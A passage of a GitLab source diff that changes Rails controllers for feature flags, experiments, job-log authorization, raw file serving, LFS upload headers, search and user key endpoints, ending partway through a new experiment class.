push_frontend_feature_flag(:vue_issuable_sidebar, project.group)
push_frontend_feature_flag(:tribute_autocomplete, @project)
push_frontend_feature_flag(:vue_issuables_list, project)
- push_frontend_feature_flag(:vue_issue_header, @project, default_enabled: true)
+ push_frontend_feature_flag(:usage_data_design_action, project, default_enabled: true)
end
before_action only: :show do
real_time_feature_flag = :real_time_issue_sidebar
real_time_enabled = Gitlab::ActionCable::Config.in_app? || Feature.enabled?(real_time_feature_flag, @project)
- push_to_gon_features(real_time_feature_flag, real_time_enabled)
+ push_to_gon_attributes(:features, real_time_feature_flag, real_time_enabled)
record_experiment_user(:invite_members_version_a)
record_experiment_user(:invite_members_version_b)
@@ -59,6 +59,10 @@ class Projects::IssuesController < Projects::ApplicationController
around_action :allow_gitaly_ref_name_caching, only: [:discussions]
+ before_action :run_null_hypothesis_experiment,
+ only: [:index, :new, :create],
+ if: -> { Feature.enabled?(:gitlab_experiments) }
+
respond_to :html
alias_method :designs, :show
@@ -74,6 +78,8 @@ class Projects::IssuesController < Projects::ApplicationController
feature_category :service_desk, [:service_desk]
feature_category :importers, [:import_csv, :export_csv]
+ attr_accessor :vulnerability_id
+
def index
@issues = @issuables
@@ -125,6 +131,8 @@ class Projects::IssuesController < Projects::ApplicationController
service = ::Issues::CreateService.new(project, current_user, create_params)
@issue = service.execute
+ create_vulnerability_issue_link(issue)
+
if service.discussions_to_resolve.count(&:resolved?) > 0
flash[:notice] = if service.discussion_to_resolve_id
_("Resolved 1 discussion.")
@@ -385,6 +393,17 @@ class Projects::IssuesController < Projects::ApplicationController
def service_desk?
action_name == 'service_desk'
end
+
+ def run_null_hypothesis_experiment
+ experiment(:null_hypothesis, project: project) do |e|
+ e.use { } # define the control
+ e.try { } # define the candidate
+ e.track(action_name) # track the action so we can build a funnel
+ end
+ end
+
+ # Overridden in EE
+ def create_vulnerability_issue_link(issue); end
end
Projects::IssuesController.prepend_if_ee('EE::Projects::IssuesController')
diff --git a/app/controllers/projects/jobs_controller.rb b/app/controllers/projects/jobs_controller.rb
index 07e38c80291..900ebc61856 100644
--- a/app/controllers/projects/jobs_controller.rb
+++ b/app/controllers/projects/jobs_controller.rb
@@ -6,6 +6,7 @@ class Projects::JobsController < Projects::ApplicationController
before_action :find_job_as_build, except: [:index, :play]
before_action :find_job_as_processable, only: [:play]
+ before_action :authorize_read_build_trace!, only: [:trace, :raw]
before_action :authorize_read_build!
before_action :authorize_update_build!,
except: [:index, :show, :status, :raw, :trace, :erase]
@@ -14,8 +15,8 @@ class Projects::JobsController < Projects::ApplicationController
before_action :verify_api_request!, only: :terminal_websocket_authorize
before_action :authorize_create_proxy_build!, only: :proxy_websocket_authorize
before_action :verify_proxy_request!, only: :proxy_websocket_authorize
- before_action do
- push_frontend_feature_flag(:ci_job_line_links, @project)
+ before_action only: :index do
+ frontend_experimentation_tracking_data(:jobs_empty_state, 'click_button')
end
layout 'project'
@@ -157,6 +158,18 @@ class Projects::JobsController < Projects::ApplicationController
private
+ def authorize_read_build_trace!
+ return if can?(current_user, :read_build_trace, @build)
+
+ msg = _(
+ "You must have developer or higher permissions in the associated project to view job logs when debug trace is enabled. To disable debug trace, set the 'CI_DEBUG_TRACE' variable to 'false' in your pipeline configuration or CI/CD settings. " \
+ "If you need to view this job log, a project maintainer must add you to the project with developer permissions or higher."
+ )
+ return access_denied!(msg) if @build.debug_mode?
+
+ access_denied!(_('The current user is not authorized to access the job log.'))
+ end
+
def authorize_update_build!
return access_denied! unless can?(current_user, :update_build, @build)
end
@@ -204,11 +217,7 @@ class Projects::JobsController < Projects::ApplicationController
end
def find_job_as_processable
- if ::Gitlab::Ci::Features.manual_bridges_enabled?(project)
- @build = project.processables.find(params[:id])
- else
- find_job_as_build
- end
+ @build = project.processables.find(params[:id])
end
def build_path(build)
diff --git a/app/controllers/projects/merge_requests/creations_controller.rb b/app/controllers/projects/merge_requests/creations_controller.rb
index 3e077c1af37..7d3e7759081 100644
--- a/app/controllers/projects/merge_requests/creations_controller.rb
+++ b/app/controllers/projects/merge_requests/creations_controller.rb
@@ -11,6 +11,12 @@ class Projects::MergeRequests::CreationsController < Projects::MergeRequests::Ap
before_action :apply_diff_view_cookie!, only: [:diffs, :diff_for_path]
before_action :build_merge_request, except: [:create]
+ before_action do
+ push_frontend_feature_flag(:merge_request_reviewers, @project, default_enabled: true)
+ push_frontend_feature_flag(:mr_collapsed_approval_rules, @project)
+ push_frontend_feature_flag(:reviewer_approval_rules, @project)
+ end
+
def new
define_new_vars
end
diff --git a/app/controllers/projects/merge_requests/diffs_controller.rb b/app/controllers/projects/merge_requests/diffs_controller.rb
index 7fbeac12644..da19ddf6105 100644
--- a/app/controllers/projects/merge_requests/diffs_controller.rb
+++ b/app/controllers/projects/merge_requests/diffs_controller.rb
@@ -69,7 +69,7 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
}
options = additional_attributes.merge(
- diff_view: unified_diff_lines_view_type(@merge_request.project),
+ diff_view: "inline",
merge_ref_head_diff: render_merge_ref_head_diff?
)
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index f2b41294a85..382fbfaac25 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -21,13 +21,13 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
:exposed_artifacts,
:coverage_reports,
:terraform_reports,
- :accessibility_reports
+ :accessibility_reports,
+ :codequality_reports
]
before_action :set_issuables_index, only: [:index]
before_action :authenticate_user!, only: [:assign_related_issues]
before_action :check_user_can_push_to_source_branch!, only: [:rebase]
before_action only: [:show] do
- push_frontend_feature_flag(:suggest_pipeline, default_enabled: true)
push_frontend_feature_flag(:widget_visibility_polling, @project, default_enabled: true)
push_frontend_feature_flag(:mr_commit_neighbor_nav, @project, default_enabled: true)
push_frontend_feature_flag(:multiline_comments, @project, default_enabled: true)
@@ -36,13 +36,14 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
push_frontend_feature_flag(:approvals_commented_by, @project, default_enabled: true)
push_frontend_feature_flag(:hide_jump_to_next_unresolved_in_threads, default_enabled: true)
push_frontend_feature_flag(:merge_request_widget_graphql, @project)
- push_frontend_feature_flag(:unified_diff_lines, @project, default_enabled: true)
push_frontend_feature_flag(:unified_diff_components, @project)
- push_frontend_feature_flag(:highlight_current_diff_row, @project)
push_frontend_feature_flag(:default_merge_ref_for_diffs, @project)
push_frontend_feature_flag(:core_security_mr_widget, @project, default_enabled: true)
+ push_frontend_feature_flag(:core_security_mr_widget_counts, @project)
+ push_frontend_feature_flag(:core_security_mr_widget_downloads, @project, default_enabled: true)
push_frontend_feature_flag(:remove_resolve_note, @project, default_enabled: true)
push_frontend_feature_flag(:test_failure_history, @project)
+ push_frontend_feature_flag(:diffs_gradual_load, @project, default_enabled: true)
record_experiment_user(:invite_members_version_a)
record_experiment_user(:invite_members_version_b)
@@ -50,6 +51,9 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
before_action do
push_frontend_feature_flag(:vue_issuable_sidebar, @project.group)
+ push_frontend_feature_flag(:merge_request_reviewers, @project, default_enabled: true)
+ push_frontend_feature_flag(:mr_collapsed_approval_rules, @project)
+ push_frontend_feature_flag(:reviewer_approval_rules, @project)
end
around_action :allow_gitaly_ref_name_caching, only: [:index, :show, :discussions]
@@ -98,9 +102,9 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
@noteable = @merge_request
@commits_count = @merge_request.commits_count + @merge_request.context_commits_count
@issuable_sidebar = serializer.represent(@merge_request, serializer: 'sidebar')
- @current_user_data = UserSerializer.new(project: @project).represent(current_user, {}, MergeRequestUserEntity).to_json
+ @current_user_data = UserSerializer.new(project: @project).represent(current_user, {}, MergeRequestCurrentUserEntity).to_json
@show_whitespace_default = current_user.nil? || current_user.show_whitespace_in_diffs
- @file_by_file_default = Feature.enabled?(:view_diffs_file_by_file, default_enabled: true) && current_user&.view_diffs_file_by_file
+ @file_by_file_default = current_user&.view_diffs_file_by_file
@coverage_path = coverage_reports_project_merge_request_path(@project, @merge_request, format: :json) if @merge_request.has_coverage_reports?
@endpoint_metadata_url = endpoint_metadata_url(@project, @merge_request)
@@ -193,6 +197,10 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
end
end
+ def codequality_reports
+ reports_response(@merge_request.compare_codequality_reports)
+ end
+
def terraform_reports
reports_response(@merge_request.find_terraform_reports)
end
@@ -481,7 +489,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
def endpoint_metadata_url(project, merge_request)
params = request.query_parameters
- params[:view] = unified_diff_lines_view_type(project)
+ params[:view] = "inline"
if Feature.enabled?(:default_merge_ref_for_diffs, project)
params = params.merge(diff_head: true)
diff --git a/app/controllers/projects/milestones_controller.rb b/app/controllers/projects/milestones_controller.rb
index 31189c888b7..dcd3c49441e 100644
--- a/app/controllers/projects/milestones_controller.rb
+++ b/app/controllers/projects/milestones_controller.rb
@@ -6,9 +6,6 @@ class Projects::MilestonesController < Projects::ApplicationController
before_action :check_issuables_available!
before_action :milestone, only: [:edit, :update, :destroy, :show, :issues, :merge_requests, :participants, :labels, :promote]
- before_action do
- push_frontend_feature_flag(:burnup_charts, @project, default_enabled: true)
- end
# Allow read any milestone
before_action :authorize_read_milestone!
diff --git a/app/controllers/projects/pipelines_controller.rb b/app/controllers/projects/pipelines_controller.rb
index f71a92ee874..74513da8675 100644
--- a/app/controllers/projects/pipelines_controller.rb
+++ b/app/controllers/projects/pipelines_controller.rb
@@ -17,7 +17,8 @@ class Projects::PipelinesController < Projects::ApplicationController
push_frontend_feature_flag(:new_pipeline_form, project, default_enabled: true)
push_frontend_feature_flag(:graphql_pipeline_header, project, type: :development, default_enabled: false)
push_frontend_feature_flag(:graphql_pipeline_details, project, type: :development, default_enabled: false)
- push_frontend_feature_flag(:new_pipeline_form_prefilled_vars, project, type: :development)
+ push_frontend_feature_flag(:graphql_pipeline_analytics, project, type: :development)
+ push_frontend_feature_flag(:new_pipeline_form_prefilled_vars, project, type: :development, default_enabled: true)
end
before_action :ensure_pipeline, only: [:show]
@@ -39,7 +40,7 @@ class Projects::PipelinesController < Projects::ApplicationController
.new(project, current_user, index_params)
.execute
.page(params[:page])
- .per(30)
+ .per(20)
@pipelines_count = limited_pipelines_count(project)
@@ -185,12 +186,15 @@ class Projects::PipelinesController < Projects::ApplicationController
def charts
@charts = {}
+ @counts = {}
+
+ return if Feature.enabled?(:graphql_pipeline_analytics)
+
@charts[:week] = Gitlab::Ci::Charts::WeekChart.new(project)
@charts[:month] = Gitlab::Ci::Charts::MonthChart.new(project)
@charts[:year] = Gitlab::Ci::Charts::YearChart.new(project)
@charts[:pipeline_times] = Gitlab::Ci::Charts::PipelineTime.new(project)
- @counts = {}
@counts[:total] = @project.all_pipelines.count(:all)
@counts[:success] = @project.all_pipelines.success.count(:all)
@counts[:failed] = @project.all_pipelines.failed.count(:all)
@@ -214,7 +218,9 @@ class Projects::PipelinesController < Projects::ApplicationController
def config_variables
respond_to do |format|
format.json do
- render json: Ci::ListConfigVariablesService.new(@project, current_user).execute(params[:sha])
+ result = Ci::ListConfigVariablesService.new(@project, current_user).execute(params[:sha])
+
+ result.nil? ? head(:no_content) : render(json: result)
end
end
end
diff --git a/app/controllers/projects/prometheus/alerts_controller.rb b/app/controllers/projects/prometheus/alerts_controller.rb
index 2892542e63c..19c908026cf 100644
--- a/app/controllers/projects/prometheus/alerts_controller.rb
+++ b/app/controllers/projects/prometheus/alerts_controller.rb
@@ -16,7 +16,7 @@ module Projects
before_action :authorize_read_prometheus_alerts!, except: [:notify]
before_action :alert, only: [:update, :show, :destroy, :metrics_dashboard]
- feature_category :alert_management
+ feature_category :incident_management
def index
render json: serialize_as_json(alerts)
@@ -73,7 +73,7 @@ module Projects
def notify_service
Projects::Prometheus::Alerts::NotifyService
- .new(project, current_user, params.permit!)
+ .new(project, params.permit!)
end
def create_service
diff --git a/app/controllers/projects/raw_controller.rb b/app/controllers/projects/raw_controller.rb
index d8ba7e4f235..8be7af3e2c5 100644
--- a/app/controllers/projects/raw_controller.rb
+++ b/app/controllers/projects/raw_controller.rb
@@ -10,29 +10,31 @@ class Projects::RawController < Projects::ApplicationController
prepend_before_action(only: [:show]) { authenticate_sessionless_user!(:blob) }
+ before_action :set_ref_and_path
before_action :require_non_empty_project
before_action :authorize_download_code!
before_action :show_rate_limit, only: [:show], unless: :external_storage_request?
- before_action :assign_ref_vars
before_action :redirect_to_external_storage, only: :show, if: :static_objects_external_storage_enabled?
feature_category :source_code_management
def show
- @blob = @repository.blob_at(@commit.id, @path)
+ @blob = @repository.blob_at(@ref, @path)
send_blob(@repository, @blob, inline: (params[:inline] != 'false'), allow_caching: @project.public?)
end
private
- def show_rate_limit
+ def set_ref_and_path
# This bypasses assign_ref_vars to avoid a Gitaly FindCommit lookup.
- # When rate limiting, we really don't care if a different commit is
- # being requested.
- _ref, path = extract_ref(get_id)
+ # We don't need to find the commit to either rate limit or send the
+ # blob.
+ @ref, @path = extract_ref(get_id)
+ end
- if rate_limiter.throttled?(:show_raw_controller, scope: [@project, path], threshold: raw_blob_request_limit)
+ def show_rate_limit
+ if rate_limiter.throttled?(:show_raw_controller, scope: [@project, @path], threshold: raw_blob_request_limit)
rate_limiter.log_request(request, :raw_blob_request_limit, current_user)
render plain: _('You cannot access the raw file. Please wait a minute.'), status: :too_many_requests
diff --git a/app/controllers/projects/runners_controller.rb b/app/controllers/projects/runners_controller.rb
index 24fa0894a9c..b7a5a63e642 100644
--- a/app/controllers/projects/runners_controller.rb
+++ b/app/controllers/projects/runners_controller.rb
@@ -53,12 +53,23 @@ class Projects::RunnersController < Projects::ApplicationController
def toggle_shared_runners
if !project.shared_runners_enabled && project.group && project.group.shared_runners_setting == 'disabled_and_unoverridable'
- return redirect_to project_runners_path(@project), alert: _("Cannot enable shared runners because parent group does not allow it")
+
+ if Feature.enabled?(:vueify_shared_runners_toggle, @project)
+ render json: { error: _('Cannot enable shared runners because parent group does not allow it') }, status: :unauthorized
+ else
+ redirect_to project_runners_path(@project), alert: _('Cannot enable shared runners because parent group does not allow it')
+ end
+
+ return
end
project.toggle!(:shared_runners_enabled)
- redirect_to project_settings_ci_cd_path(@project, anchor: 'js-runners-settings')
+ if Feature.enabled?(:vueify_shared_runners_toggle, @project)
+ render json: {}, status: :ok
+ else
+ redirect_to project_settings_ci_cd_path(@project, anchor: 'js-runners-settings')
+ end
end
def toggle_group_runners
diff --git a/app/controllers/projects/settings/ci_cd_controller.rb b/app/controllers/projects/settings/ci_cd_controller.rb
index f76278a12a4..31533dfeea0 100644
--- a/app/controllers/projects/settings/ci_cd_controller.rb
+++ b/app/controllers/projects/settings/ci_cd_controller.rb
@@ -11,6 +11,7 @@ module Projects
before_action :define_variables
before_action do
push_frontend_feature_flag(:ajax_new_deploy_token, @project)
+ push_frontend_feature_flag(:vueify_shared_runners_toggle, @project)
end
helper_method :highlight_badge
diff --git a/app/controllers/projects/settings/operations_controller.rb b/app/controllers/projects/settings/operations_controller.rb
index c9386a2edec..f8155b77e60 100644
--- a/app/controllers/projects/settings/operations_controller.rb
+++ b/app/controllers/projects/settings/operations_controller.rb
@@ -7,7 +7,6 @@ module Projects
before_action :authorize_read_prometheus_alerts!, only: [:reset_alerting_token]
before_action do
- push_frontend_feature_flag(:http_integrations_list, @project)
push_frontend_feature_flag(:multiple_http_integrations_custom_mapping, @project)
end
diff --git a/app/controllers/projects/static_site_editor_controller.rb b/app/controllers/projects/static_site_editor_controller.rb
index 5c3d9b60877..0d9a6f568a1 100644
--- a/app/controllers/projects/static_site_editor_controller.rb
+++ b/app/controllers/projects/static_site_editor_controller.rb
@@ -19,6 +19,10 @@ class Projects::StaticSiteEditorController < Projects::ApplicationController
feature_category :static_site_editor
+ def index
+ render_404
+ end
+
def show
service_response = ::StaticSiteEditor::ConfigService.new(
container: project,
diff --git a/app/controllers/projects/wikis_controller.rb b/app/controllers/projects/wikis_controller.rb
index 8f794512486..d1486f765e4 100644
--- a/app/controllers/projects/wikis_controller.rb
+++ b/app/controllers/projects/wikis_controller.rb
@@ -6,7 +6,4 @@ class Projects::WikisController < Projects::ApplicationController
alias_method :container, :project
feature_category :wiki
-
- def git_access
- end
end
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index c03a820b384..3744517934a 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -19,9 +19,6 @@ class ProjectsController < Projects::ApplicationController
before_action :redirect_git_extension, only: [:show]
before_action :project, except: [:index, :new, :create, :resolve]
before_action :repository, except: [:index, :new, :create, :resolve]
- before_action :assign_ref_vars, if: -> { action_name == 'show' && repo_exists? }
- before_action :tree,
- if: -> { action_name == 'show' && repo_exists? && project_view_files? }
before_action :project_export_enabled, only: [:export, :download_export, :remove_export, :generate_new_export]
before_action :present_project, only: [:edit]
before_action :authorize_download_code!, only: [:refs]
@@ -34,15 +31,9 @@ class ProjectsController < Projects::ApplicationController
# Project Export Rate Limit
before_action :export_rate_limit, only: [:export, :download_export, :generate_new_export]
- # Experiments
- before_action only: [:new, :create] do
- frontend_experimentation_tracking_data(:new_create_project_ui, 'click_tab')
- push_frontend_experiment(:new_create_project_ui)
- end
-
before_action only: [:edit] do
- push_frontend_feature_flag(:service_desk_custom_address, @project)
push_frontend_feature_flag(:approval_suggestions, @project, default_enabled: true)
+ push_frontend_feature_flag(:allow_editing_commit_messages, @project)
end
layout :determine_layout
@@ -80,8 +71,6 @@ class ProjectsController < Projects::ApplicationController
@project = ::Projects::CreateService.new(current_user, project_params(attributes: project_params_create_attributes)).execute
if @project.saved?
- cookies[:issue_board_welcome_hidden] = { path: project_path(@project), value: nil, expires: Time.zone.at(0) }
-
redirect_to(
project_path(@project, custom_import_params),
notice: _("Project '%{project_name}' was successfully created.") % { project_name: @project.name }
@@ -147,6 +136,8 @@ class ProjectsController < Projects::ApplicationController
end
def show
+ @id, @ref, @path = extract_ref_path
+
if @project.import_in_progress?
redirect_to project_import_path(@project, custom_import_params)
return
@@ -334,7 +325,11 @@ class ProjectsController < Projects::ApplicationController
if can?(current_user, :download_code, @project)
return render 'projects/no_repo' unless @project.repository_exists?
- render 'projects/empty' if @project.empty_repo?
+ if @project.empty_repo?
+ record_experiment_user(:invite_members_empty_project_version_a)
+
+ render 'projects/empty'
+ end
else
if can?(current_user, :read_wiki, @project)
@wiki = @project.wiki
@@ -392,6 +387,8 @@ class ProjectsController < Projects::ApplicationController
wiki_access_level
pages_access_level
metrics_dashboard_access_level
+ analytics_access_level
+ operations_access_level
]
end
@@ -435,6 +432,7 @@ class ProjectsController < Projects::ApplicationController
project_setting_attributes: %i[
show_default_award_emojis
squash_option
+ allow_editing_commit_messages
]
] + [project_feature_attributes: project_feature_attributes]
end
diff --git a/app/controllers/registrations/welcome_controller.rb b/app/controllers/registrations/welcome_controller.rb
index 5b3f78a92ad..4a6fef56ef5 100644
--- a/app/controllers/registrations/welcome_controller.rb
+++ b/app/controllers/registrations/welcome_controller.rb
@@ -45,7 +45,7 @@ module Registrations
end
def update_params
- params.require(:user).permit(:role, :setup_for_company)
+ params.require(:user).permit(:role, :other_role, :setup_for_company)
end
def requires_confirmation?(user)
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index 04cb9616cf6..e7872eeac27 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -6,8 +6,6 @@ class RegistrationsController < Devise::RegistrationsController
include RecaptchaHelper
include InvisibleCaptchaOnSignup
- BLOCKED_PENDING_APPROVAL_STATE = 'blocked_pending_approval'.freeze
-
layout 'devise'
prepend_before_action :check_captcha, only: :create
@@ -167,12 +165,18 @@ class RegistrationsController < Devise::RegistrationsController
end
def set_user_state
- return unless Gitlab::CurrentSettings.require_admin_approval_after_user_signup
+ return unless set_blocked_pending_approval?
+
+ resource.state = User::BLOCKED_PENDING_APPROVAL_STATE
+ end
- resource.state = BLOCKED_PENDING_APPROVAL_STATE
+ def set_blocked_pending_approval?
+ Gitlab::CurrentSettings.require_admin_approval_after_user_signup
end
def set_invite_params
@invite_email = ActionController::Base.helpers.sanitize(params[:invite_email])
end
end
+
+RegistrationsController.prepend_if_ee('EE::RegistrationsController')
diff --git a/app/controllers/repositories/git_http_client_controller.rb b/app/controllers/repositories/git_http_client_controller.rb
index ec854bd0dde..a5b81054ee4 100644
--- a/app/controllers/repositories/git_http_client_controller.rb
+++ b/app/controllers/repositories/git_http_client_controller.rb
@@ -87,8 +87,12 @@ module Repositories
@project
end
+ def repository_path
+ @repository_path ||= params[:repository_path]
+ end
+
def parse_repo_path
- @container, @project, @repo_type, @redirected_path = Gitlab::RepoPath.parse("#{params[:namespace_id]}/#{params[:repository_id]}")
+ @container, @project, @repo_type, @redirected_path = Gitlab::RepoPath.parse(repository_path)
end
def render_missing_personal_access_token
diff --git a/app/controllers/repositories/git_http_controller.rb b/app/controllers/repositories/git_http_controller.rb
index aa6609bef2a..3cf0a23b7f6 100644
--- a/app/controllers/repositories/git_http_controller.rb
+++ b/app/controllers/repositories/git_http_controller.rb
@@ -80,6 +80,8 @@ module Repositories
return if Gitlab::Database.read_only?
return unless repo_type.project?
+ OnboardingProgressService.new(project.namespace).execute(action: :git_read)
+
if Feature.enabled?(:project_statistics_sync, project, default_enabled: true)
Projects::FetchStatisticsIncrementService.new(project).execute
else
@@ -90,7 +92,6 @@ module Repositories
def access
@access ||= access_klass.new(access_actor, container, 'http',
authentication_abilities: authentication_abilities,
- namespace_path: params[:namespace_id],
repository_path: repository_path,
redirected_path: redirected_path,
auth_result_type: auth_result_type)
@@ -113,10 +114,6 @@ module Repositories
@access_klass ||= repo_type.access_checker_class
end
- def repository_path
- @repository_path ||= params[:repository_id].sub(/\.git$/, '')
- end
-
def log_user_activity
Users::ActivityService.new(user).execute
end
diff --git a/app/controllers/repositories/lfs_api_controller.rb b/app/controllers/repositories/lfs_api_controller.rb
index 96185608c09..248323a0bb5 100644
--- a/app/controllers/repositories/lfs_api_controller.rb
+++ b/app/controllers/repositories/lfs_api_controller.rb
@@ -92,16 +92,26 @@ module Repositories
{
upload: {
href: "#{project.http_url_to_repo}/gitlab-lfs/objects/#{object[:oid]}/#{object[:size]}",
- header: {
- Authorization: authorization_header,
- # git-lfs v2.5.0 sets the Content-Type based on the uploaded file. This
- # ensures that Workhorse can intercept the request.
- 'Content-Type': LFS_TRANSFER_CONTENT_TYPE
- }.compact
+ header: upload_headers
}
}
end
+ def upload_headers
+ headers = {
+ Authorization: authorization_header,
+ # git-lfs v2.5.0 sets the Content-Type based on the uploaded file. This
+ # ensures that Workhorse can intercept the request.
+ 'Content-Type': LFS_TRANSFER_CONTENT_TYPE
+ }
+
+ if Feature.enabled?(:lfs_chunked_encoding, project, default_enabled: true)
+ headers['Transfer-Encoding'] = 'chunked'
+ end
+
+ headers
+ end
+
def lfs_check_batch_operation!
if batch_operation_disallowed?
render(
diff --git a/app/controllers/search_controller.rb b/app/controllers/search_controller.rb
index c92b3457640..196b1887ca7 100644
--- a/app/controllers/search_controller.rb
+++ b/app/controllers/search_controller.rb
@@ -3,16 +3,8 @@
class SearchController < ApplicationController
include ControllerWithCrossProjectAccessCheck
include SearchHelper
- include RendersCommits
include RedisTracking
- SCOPE_PRELOAD_METHOD = {
- projects: :with_web_entity_associations,
- issues: :with_web_entity_associations,
- merge_requests: :with_web_entity_associations,
- epics: :with_web_entity_associations
- }.freeze
-
track_redis_hll_event :show, name: 'i_search_total', feature: :search_track_unique_users, feature_default_enabled: true
around_action :allow_gitaly_ref_name_caching
@@ -41,14 +33,12 @@ class SearchController < ApplicationController
@search_term = params[:search]
@sort = params[:sort] || default_sort
- @scope = search_service.scope
- @show_snippets = search_service.show_snippets?
- @search_results = search_service.search_results
- @search_objects = search_service.search_objects(preload_method)
- @search_highlight = search_service.search_highlight
-
- render_commits if @scope == 'commits'
- eager_load_user_status if @scope == 'users'
+ @search_service = Gitlab::View::Presenter::Factory.new(search_service, current_user: current_user).fabricate!
+ @scope = @search_service.scope
+ @show_snippets = @search_service.show_snippets?
+ @search_results = @search_service.search_results
+ @search_objects = @search_service.search_objects
+ @search_highlight = @search_service.search_highlight
increment_search_counters
end
@@ -79,10 +69,6 @@ class SearchController < ApplicationController
private
- def preload_method
- SCOPE_PRELOAD_METHOD[@scope.to_sym]
- end
-
# overridden in EE
def default_sort
'created_desc'
@@ -102,14 +88,6 @@ class SearchController < ApplicationController
true
end
- def render_commits
- @search_objects = prepare_commits_for_rendering(@search_objects)
- end
-
- def eager_load_user_status
- @search_objects = @search_objects.eager_load(:status) # rubocop:disable CodeReuse/ActiveRecord
- end
-
def check_single_commit_result?
return false if params[:force_search_results]
return false unless @project.present?
diff --git a/app/controllers/uploads_controller.rb b/app/controllers/uploads_controller.rb
index 6692c285335..2c827292928 100644
--- a/app/controllers/uploads_controller.rb
+++ b/app/controllers/uploads_controller.rb
@@ -27,6 +27,10 @@ class UploadsController < ApplicationController
feature_category :not_owned
+ def self.model_classes
+ MODEL_CLASSES
+ end
+
def uploader_class
PersonalFileUploader
end
@@ -99,7 +103,7 @@ class UploadsController < ApplicationController
end
def upload_model_class
- MODEL_CLASSES[params[:model]] || raise(UnknownUploadModelError)
+ self.class.model_classes[params[:model]] || raise(UnknownUploadModelError)
end
def upload_model_class_has_mounts?
@@ -112,3 +116,5 @@ class UploadsController < ApplicationController
upload_model_class.uploader_options.has_key?(upload_mount)
end
end
+
+UploadsController.prepend_if_ee('EE::UploadsController')
diff --git a/app/controllers/users_controller.rb b/app/controllers/users_controller.rb
index 05573255066..46245286820 100644
--- a/app/controllers/users_controller.rb
+++ b/app/controllers/users_controller.rb
@@ -33,18 +33,36 @@ class UsersController < ApplicationController
end
format.json do
+ # In 13.8, this endpoint will be removed:
+ # https://gitlab.com/gitlab-org/gitlab/-/issues/289972
load_events
pager_json("events/_events", @events.count, events: @events)
end
end
end
+ # Get all keys of a user(params[:username]) in a text format
+ # Helpful for sysadmins to put in respective servers
+ def ssh_keys
+ render plain: user.all_ssh_keys.join("\n")
+ end
+
def activity
respond_to do |format|
format.html { render 'show' }
+
+ format.json do
+ load_events
+ pager_json("events/_events", @events.count, events: @events)
+ end
end
end
+ # Get all gpg keys of a user(params[:username]) in a text format
+ def gpg_keys
+ render plain: user.gpg_keys.select(&:verified?).map(&:key).join("\n")
+ end
+
def groups
load_groups
diff --git a/app/controllers/whats_new_controller.rb b/app/controllers/whats_new_controller.rb
index 384c984089a..cba86c65848 100644
--- a/app/controllers/whats_new_controller.rb
+++ b/app/controllers/whats_new_controller.rb
@@ -1,18 +1,19 @@
# frozen_string_literal: true
class WhatsNewController < ApplicationController
- include Gitlab::WhatsNew
+ include Gitlab::Utils::StrongMemoize
skip_before_action :authenticate_user!
- before_action :check_feature_flag, :check_valid_page_param, :set_pagination_headers
+ before_action :check_feature_flag
+ before_action :check_valid_page_param, :set_pagination_headers, unless: -> { has_version_param? }
feature_category :navigation
def index
respond_to do |format|
format.js do
- render json: whats_new_release_items(page: current_page)
+ render json: highlight_items
end
end
end
@@ -27,18 +28,29 @@ class WhatsNewController < ApplicationController
render_404 if current_page < 1
end
- def set_pagination_headers
- response.set_header('X-Next-Page', next_page)
- end
-
def current_page
params[:page]&.to_i || 1
end
- def next_page
- next_page = current_page + 1
- next_index = next_page - 1
+ def highlights
+ strong_memoize(:highlights) do
+ if has_version_param?
+ ReleaseHighlight.for_version(version: params[:version])
+ else
+ ReleaseHighlight.paginated(page: current_page)
+ end
+ end
+ end
+
+ def highlight_items
+ highlights.map {|item| Gitlab::WhatsNew::ItemPresenter.present(item) }
+ end
+
+ def set_pagination_headers
+ response.set_header('X-Next-Page', highlights.next_page)
+ end
- next_page if whats_new_file_paths[next_index]
+ def has_version_param?
+ params[:version].present?
end
end
diff --git a/app/experiments/application_experiment.rb b/app/experiments/application_experiment.rb
new file mode 100644
index 00000000000..e8f7d22bf77
--- /dev/null
+++ b/app/experiments/application_experiment.rb
@@ -0,0 +1,83 @@
+# frozen_string_literal: true
+
+class ApplicationExperiment < Gitlab::Experiment
+ def publish(_result)
+ track(:assignment) # track that we've assigned a variant for this context
+ Gon.global.push({ experiment: { name => signature } }, true) # push to client
+ end
+
+ def track(action, **event_args)
+ return if excluded? # no events for opted out actors or excluded subjects
+
+ Gitlab::Tracking.event(name, action.to_s, **event_args.merge(
+ context: (event_args[:context] || []) << SnowplowTracker::SelfDescribingJson.new(
+ 'iglu:com.gitlab/gitlab_experiment/jsonschema/0-3-0', signature
+ )
+ ))
+ end
+
+ private
+
+ def resolve_variant_name
+ variant_names.first if Feature.enabled?(name, self, type: :experiment)
+ end
+
+ # Cache is an implementation on top of Gitlab::Redis::SharedState that also
+ # adheres to the ActiveSupport::Cache::Store interface and uses the redis
+ # hash data type.
+ #
+ # Since Gitlab::Experiment can use any type of caching layer, utilizing the
+ # long lived shared state interface here gives us an efficient way to store
+ # context keys and the variant they've been assigned -- while also giving us
+ # a simple way to clean up an experiments data upon resolution.
+ #
+ # The data structure:
+ # key: experiment.name
+ # fields: context key => variant name
+ #
+ # The keys are expected to be `experiment_name:context_key`, which is the
+ # default cache key strategy. So running `cache.fetch("foo:bar", "value")`
+ # would create/update a hash with the key of "foo", with a field named
+ # "bar" that has "value" assigned to it.
+ class Cache < ActiveSupport::Cache::Store
+ # Clears the entire cache for a given experiment. Be careful with this
+ # since it would reset all resolved variants for the entire experiment.
+ def clear(key:)
+ key = hkey(key)[0] # extract only the first part of the key
+ pool do |redis|
+ case redis.type(key)
